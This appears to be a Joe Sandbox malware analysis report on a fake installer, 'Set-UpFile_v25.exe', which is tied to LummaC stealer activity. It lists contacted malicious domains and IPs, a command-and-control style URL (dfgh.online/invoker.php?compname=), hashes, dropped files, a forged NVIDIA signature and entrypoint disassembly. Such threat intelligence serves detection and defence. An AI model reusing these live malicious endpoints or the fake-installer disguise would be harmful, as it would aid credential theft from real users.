https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Set-UpFile_v25.exe, 00000000.00000003.1791976489.00000000036BD000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1792070865.00000000036BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Set-UpFile_v25.exe, 00000000.00000003.1793274288.00000000036C9000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1793129972.0000000003713000.00000004.00000800.00020000.00000000.sdmp	false		high
https://beattalkerz.cyou/apila	Set-UpFile_v25.exe, 00000000.00000003.1876965792.000000000367F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.starfieldtech.com/0D	Set-UpFile_v25.exe	false		high
https://klipvumisui.shop/int_clp_sha.txt%	Set-UpFile_v25.exe, 00000000.00000003.1958807611.0000000000845000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	Set-UpFile_v25.exe	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000004.00000002.1971280536.0000000004761000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	Set-UpFile_v25.exe, 00000000.00000003.1816330142.00000000036AC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Set-UpFile_v25.exe, 00000000.00000003.1816330142.00000000036AC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	Set-UpFile_v25.exe, 00000000.00000003.1793274288.00000000036A4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Set-UpFile_v25.exe, 00000000.00000003.1791976489.00000000036BD000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1792070865.00000000036BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000004.00000002.1978484027.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.1978484027.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://beattalkerz.cyorT	Set-UpFile_v25.exe, 00000000.00000003.1958807611.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000002.1962621793.0000000000807000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://beattalkerz.cyou/api0	Set-UpFile_v25.exe, 00000000.00000003.1907601851.000000000367F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dfgh.online	powershell.exe, 00000004.00000002.1971280536.00000000048B7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://klipvumisui.shop/int_clp_sha.txtf1R=	Set-UpFile_v25.exe, 00000000.00000003.1958807611.00000000008AC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://beattalkerz.cyou/apibu	Set-UpFile_v25.exe, 00000000.00000003.1958807611.0000000000845000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dfgh.online/invoker.php?compname=	powershell.exe, 00000004.00000002.1970487568.0000000000760000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.starfieldtech.com/repository/sfsroot.crl0P	Set-UpFile_v25.exe	false		high
https://support.mozilla.org/products/firefoxgro.all	Set-UpFile_v25.exe, 00000000.00000003.1817560685.000000000379C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.1971280536.0000000004761000.00000004.00000800.00020000.00000000.sdmp	false		high
https://beattalkerz.cyou/4I	Set-UpFile_v25.exe, 00000000.00000002.1962621793.0000000000817000.00000004.00000020.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1958807611.0000000000816000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://klipvumisui.shop/int_clp_sha.txt	Set-UpFile_v25.exe, 00000000.00000003.1958807611.00000000008AC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.innosetup.com/	Set-UpFile_v25.exe	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.1978484027.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Set-UpFile_v25.exe, 00000000.00000003.1791976489.00000000036BD000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1792070865.00000000036BB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.1971280536.00000000048B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1981590560.0000000006D97000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.1971280536.00000000048B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1981590560.0000000006D97000.00000004.00000020.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000004.00000002.1971280536.0000000004F58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.thawte.com0	Set-UpFile_v25.exe	false		high
https://beattalkerz.cyou/apijh	Set-UpFile_v25.exe, 00000000.00000003.1876965792.000000000367F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000004.00000002.1978484027.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Set-UpFile_v25.exe, 00000000.00000003.1791976489.00000000036BD000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1792070865.00000000036BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://klipvumisui.shop/int_clp_sha.txtcoded	Set-UpFile_v25.exe, 00000000.00000003.1958807611.00000000008AC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	Set-UpFile_v25.exe, 00000000.00000003.1816330142.00000000036AC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	Set-UpFile_v25.exe, 00000000.00000003.1816330142.00000000036AC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://beattalkerz.cyou/apiF9	Set-UpFile_v25.exe, 00000000.00000003.1958807611.0000000000845000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Set-UpFile_v25.exe, 00000000.00000003.1793274288.00000000036C9000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1793129972.0000000003713000.00000004.00000800.00020000.00000000.sdmp	false		high
https://beattalkerz.cyou/apizp	Set-UpFile_v25.exe, 00000000.00000003.1877000966.000000000367A000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1877228216.000000000367A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://certificates.starfieldtech.com/repository/1604	Set-UpFile_v25.exe	false		high
https://www.ecosia.org/newtab/	Set-UpFile_v25.exe, 00000000.00000003.1791976489.00000000036BD000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1792070865.00000000036BB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.symauth.com/cps0(	Set-UpFile_v25.exe	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Set-UpFile_v25.exe, 00000000.00000003.1817560685.000000000379C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.1971280536.00000000048B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1981590560.0000000006D97000.00000004.00000020.00020000.00000000.sdmp	false		high
https://klipvumisui.shop/	Set-UpFile_v25.exe, 00000000.00000003.1958807611.00000000008B1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	Set-UpFile_v25.exe, 00000000.00000003.1791976489.00000000036BD000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1792070865.00000000036BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://beattalkerz.cyou/api9bf$	Set-UpFile_v25.exe, 00000000.00000003.1908617857.0000000003680000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1907601851.000000000367F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.starfieldtech.com/repository/0	Set-UpFile_v25.exe	false		high
http://crl.micro	powershell.exe, 00000004.00000002.1969577811.00000000005D5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://beattalkerz.cyou/apilMQ-$	Set-UpFile_v25.exe, 00000000.00000002.1962621793.000000000081A000.00000004.00000020.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1958807611.0000000000816000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/rpa00	Set-UpFile_v25.exe	false		high
https://dfgh.online/invoker.php?compName=user-PCx	powershell.exe, 00000004.00000002.1971280536.00000000048B7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://klipvumisui.shop/int_clp_sha.txt.3	Set-UpFile_v25.exe, 00000000.00000003.1958807611.00000000008A5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.microsof	Set-UpFile_v25.exe, 00000000.00000003.1793129972.0000000003715000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Set-UpFile_v25.exe, 00000000.00000003.1816330142.00000000036AC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://beattalkerz.cyou/apic	Set-UpFile_v25.exe, 00000000.00000003.1790726742.0000000000845000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://beattalkerz.cyou/y	Set-UpFile_v25.exe, 00000000.00000003.1877000966.000000000367A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://beattalkerz.cyou/f	Set-UpFile_v25.exe, 00000000.00000003.1920128987.00000000008AA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.remobjects.com/ps	Set-UpFile_v25.exe	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	Set-UpFile_v25.exe, 00000000.00000003.1793274288.00000000036A4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://beattalkerz.cyou/	Set-UpFile_v25.exe, 00000000.00000003.1907601851.000000000367B000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1804338671.0000000003679000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Set-UpFile_v25.exe, 00000000.00000003.1791976489.00000000036BD000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1792070865.00000000036BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://beattalkerz.cyou/apis	Set-UpFile_v25.exe, 00000000.00000003.1908617857.0000000003680000.00000004.00000800.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1907601851.000000000367F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.161.251.21	cegu.shop	United Kingdom		5089	NTLGB	false
104.21.25.52	beattalkerz.cyou	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585343
Start date and time:	2025-01-07 14:36:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Set-UpFile_v25.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/3@4/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 100% Number of executed functions: 16 Number of non-executed functions: 102
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 13.107.246.45
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7596 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Set-UpFile_v25.exe

Simulations

Behavior and APIs

Time	Type	Description
08:37:11	API Interceptor	10x Sleep call for process: Set-UpFile_v25.exe modified
08:37:29	API Interceptor	7x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.161.251.21	installer_1.05_36.8.exe	Get hash	malicious	LummaC	Browse
	setup.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	installer_1.05_36.7.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	Set-up.exe	Get hash	malicious	LummaC	Browse
	setup.exe	Get hash	malicious	LummaC	Browse
	'Set-up.exe	Get hash	malicious	LummaC	Browse
	Set-up.exe	Get hash	malicious	LummaC	Browse
104.21.25.52	https://ness.wiktripfitness.com/ghjki9l-8765t4/3/er4t5y6u7jyhtgrfefrgthyjuyhtgdsarfedwsqa	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cegu.shop	installer_1.05_36.8.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	installer_1.05_36.7.exe	Get hash	malicious	LummaC Stealer	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	'Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NTLGB	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	ppc.elf	Get hash	malicious	Mirai	Browse	86.15.78.37
	installer_1.05_36.8.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	https://pwv95gp5r-xn--r3h9jdud-xn----c1a2cj-xn----p1ai.translate.goog/sIQKSvTC/b8KvU/uoTt6?ZFhObGNpNXBiblp2YkhabGJXVnVkRUJ6YjNWMGFHVnliblJ5ZFhOMExtaHpZMjVwTG01bGRBPT06c1JsOUE+&_x_tr_sch=http&_x_tr_sl=hrLWHGLm&_x_tr_tl=bTtllyql	Get hash	malicious	HTMLPhisher	Browse	194.168.231.153
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	installer_1.05_36.7.exe	Get hash	malicious	LummaC Stealer	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
CLOUDFLARENETUS	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	https://sos-ch-gva-2.exo.io/ready/seah/continue/complete-this-to-continue.html	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.17.25.14
	te13.exe	Get hash	malicious	Metasploit	Browse	104.21.16.1
	New order 2025.msg	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	https://coggle.it/diagram/Z3zkZPAQxQkDOgmo/t/-/1f6434bfba7d8aab898b2531849681e8b0d7342489acbbff6b172f8658a09526	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://email.garagesalefinder.com/c/eJyMU92OsjoUfZp6xwRaoO2FF-XPYT4VnXHQ8caUFivK3wcC-vYnzImc25OQlbXYa-_VJrtyniCCZ-ncwMg2KKWmPrvMCRWYGDSBBAkLnSGigttEUJpiLHRhzLK5JRHWEbE0wS1LkxzqmpnKRCMYcymIhUyJgKkr3nCVtjxPz1kp0-ZNVMUsn1_u9xogBmAAYDAMw5uqKpWnXLZp02cibUcfgEHNVcolgAEX-Q2goOUAeUsAbZ4B5Lma-bXS9YjEH8_jUsCMDFHdh-8V6xawX6ug4FFt3FtnCCFin8wJow2-DWulyU1_iVhfsfe8SpYtI8px_iiPHZXv8Movh2Cj-95Hcj0kV7urV6jyYvatjOfWaYZ2MRxIba6V3Jx55O3PcZmp2muai3lerzYyDgu0zWKnNlb-o7Sf7h6p70NxCvM23_41HfOEGuWGy9q9Hnlqfep7pO0Kfgrvm-rvV7zTOloie11_fJdEol2uDrr9xfmOPrr1Vr-IJWM_mXjnt9SPV5IVx53pOD-UrUI1qHwX-N2-JfHP9ThUm97B9z_nIOnjcuOGjloo51Iwxy6FckMA7bIrAPIMAG2RSYA8a5H18gTbKy737aLto4f-0GD3DaDdZgogj0WebZ6M8IN8ys_TY2eziPTBe70KjWKtt8gaxll5lpZ3gDzBtbpLNBsalBgGNrFuUoTHOC67JgfIGzehnVYBQAtjAC37l8GRuSOYU4G-pG2NgEYgk_ReFjwWsPli0J_MwSSdVxuc_v2bYU25I0BvMvvT0fBL_tdrsyktMAglv0Qs4o5D0vHD8ZIUFG4XwVMUFP0UQcef1jWBOkDea447drMR_PHuZATmTlIH0KIMQPP3-3_uWTOv0_JWvWU9L6semDpvmmpIeHn7fYv9HP4TAAD__7e2IkM	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://check.qlkwr.com/awjsx.captcha?u=d9b43caa-60bc-4673-bed6-4e9abc0c0678	Get hash	malicious	Unknown	Browse	104.21.55.46
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc	Browse	188.114.96.3
	Crawl.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21 104.21.25.52
	LVkAi4PBv6.exe	Get hash	malicious	Unknown	Browse	185.161.251.21 104.21.25.52
	64pOGv7k4N.exe	Get hash	malicious	LummaC	Browse	185.161.251.21 104.21.25.52
	BnJxmraqlk.exe	Get hash	malicious	LummaC, PrivateLoader	Browse	185.161.251.21 104.21.25.52
	NjFiIQNSid.exe	Get hash	malicious	LummaC	Browse	185.161.251.21 104.21.25.52
	H565rymIuO.doc	Get hash	malicious	Unknown	Browse	185.161.251.21 104.21.25.52
	w3245.exe	Get hash	malicious	Unknown	Browse	185.161.251.21 104.21.25.52
	w3245.exe	Get hash	malicious	Unknown	Browse	185.161.251.21 104.21.25.52
	sEG2xXpg0X.xlsm	Get hash	malicious	Unknown	Browse	185.161.251.21 104.21.25.52
	Drivespan.dll	Get hash	malicious	Unknown	Browse	185.161.251.21 104.21.25.52

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:NlllulPki/llllZ:NllUcylll
MD5:	D8D47FD6FA3E199E4AFF68B91F1D04A8
SHA1:	788625E414B030E5174C5BE7262A4C93502C2C21
SHA-256:	2D9AF9AB25D04D1CF9B25DB196A988CD6E4124C1B8E185B96F2AB9554F4A6738
SHA-512:	5BFD83D07DC3CB53563F215BE1D4D7206340A4C0AB06988697637C402793146D13CDDE0E27DC8301E4506553D957876AC9D7A7BF3C7431BBDD5F019C17AB0A58
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e.................................^..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1unjy0zf.ro1.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hthjm0hp.xjb.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	0.5144643785072911
TrID:	Win32 Executable (generic) a (10002005/4) 97.75% Windows ActiveX control (116523/4) 1.14% Inno Setup installer (109748/4) 1.07% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	Set-UpFile_v25.exe
File size:	75'060'322 bytes
MD5:	2f33775c502e7b2d60b9bfe944b46863
SHA1:	57d023419ecbe81d27368757fea4366de68891ea
SHA256:	fce2d6446420934b428053edf66b7cc5838717fbf67911c11145424ebd0a045b
SHA512:	afd577d935d151cff6eae652be7f362bc29e89df5a2166bf9cf56f6acbbc57626abe3a970b765b4bb1e079e5bf8a41e4cb440f2a23913d43ca5631c5cfb54acf
SSDEEP:	24576:otdAm9DUi/CR3wCkCiRgoG7hBaHkbEXaeG/jFt5xTx9CAaui1CgqU8Expi0Sy4YF:YqTytRFkDek1XFaumfq16E0nZpd
TLSH:	1DF7C1297600A1A1B7D2BFFD490393CA9AA6E108B33134FF155E270ADD3B5D8433765A
File Content Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Static PE Info

General

Entrypoint:	0x50156c
Entrypoint Section:	.itext
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x57051F89 [Wed Apr 6 14:39:05 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	f62b90e31eca404f228fcf7068b00f31

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=VeriSign Class 3 Code Signing 2010 CA, OU=Terms of use at https://www.verisign.com/rpa (c)10, OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	27/07/2015 20:00:00 26/07/2018 19:59:59
Subject Chain	CN=NVIDIA Corporation, O=NVIDIA Corporation, L=SANTA CLARA, S=California, C=US
Version:	3
Thumbprint MD5:	F7219078FBE20BC1B98BF8A86BFC0396
Thumbprint SHA-1:	30632EA310114105969D0BDA28FDCE267104754F
Thumbprint SHA-256:	1B5061CF61C93822BDE2433156EEBE1F027C8FA9C88A4AF0EBD1348AF79C61E2
Serial:	14781BC862E8DC503A559346F5DCC518

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
push ebx
push esi
push edi
mov eax, 004FEBF4h
call 00007F218C420B12h
push FFFFFFECh
mov eax, dword ptr [00504E38h]
mov eax, dword ptr [eax]
mov ebx, dword ptr [eax+00000170h]
push ebx
call 00007F218C4219BDh
and eax, FFFFFF7Fh
push eax
push FFFFFFECh
mov eax, dword ptr [00504E38h]
push ebx
call 00007F218C421C12h
xor eax, eax
push ebp
push 005015E7h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
push 00000001h
call 00007F218C42135Dh
call 00007F218C5164BCh
mov eax, dword ptr [004FE82Ch]
push eax
push 004FE890h
mov eax, dword ptr [00504E38h]
mov eax, dword ptr [eax]
call 00007F218C493F51h
call 00007F218C516510h
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword ptr fs:[eax], edx
jmp 00007F218C51915Bh
jmp 00007F218C41C239h
call 00007F218C51628Ch
mov eax, 00000001h
call 00007F218C41CCFAh
call 00007F218C41C67Dh
mov eax, dword ptr [00504E38h]
mov eax, dword ptr [eax]
mov edx, 0050177Ch
call 00007F218C493A5Ch
push 00000005h
mov eax, dword ptr [00504E38h]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax+00000170h]
push eax
call 00007F218C421BD3h
mov eax, dword ptr [00504E38h]
mov eax, dword ptr [eax]
mov edx, dword ptr [004D9740h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x10d000	0x3840	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x113000	0x6d600	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x4791aa2	0x39c0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x112000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x10da80	0x88c	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xfe084	0xfe200	ef1b62ba5d0b70ba5c2cfd64e2c11839	False	0.4838360412567634	data	6.484873057389425	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x100000	0x1788	0x1800	030d751d7e20e11f863bdb27a950c708	False	0.5203450520833334	data	5.94899155660316	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x102000	0x3068	0x3200	2f90c6f68c18651f5b580d5ad2b852e9	False	0.421796875	data	4.334644118113417	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
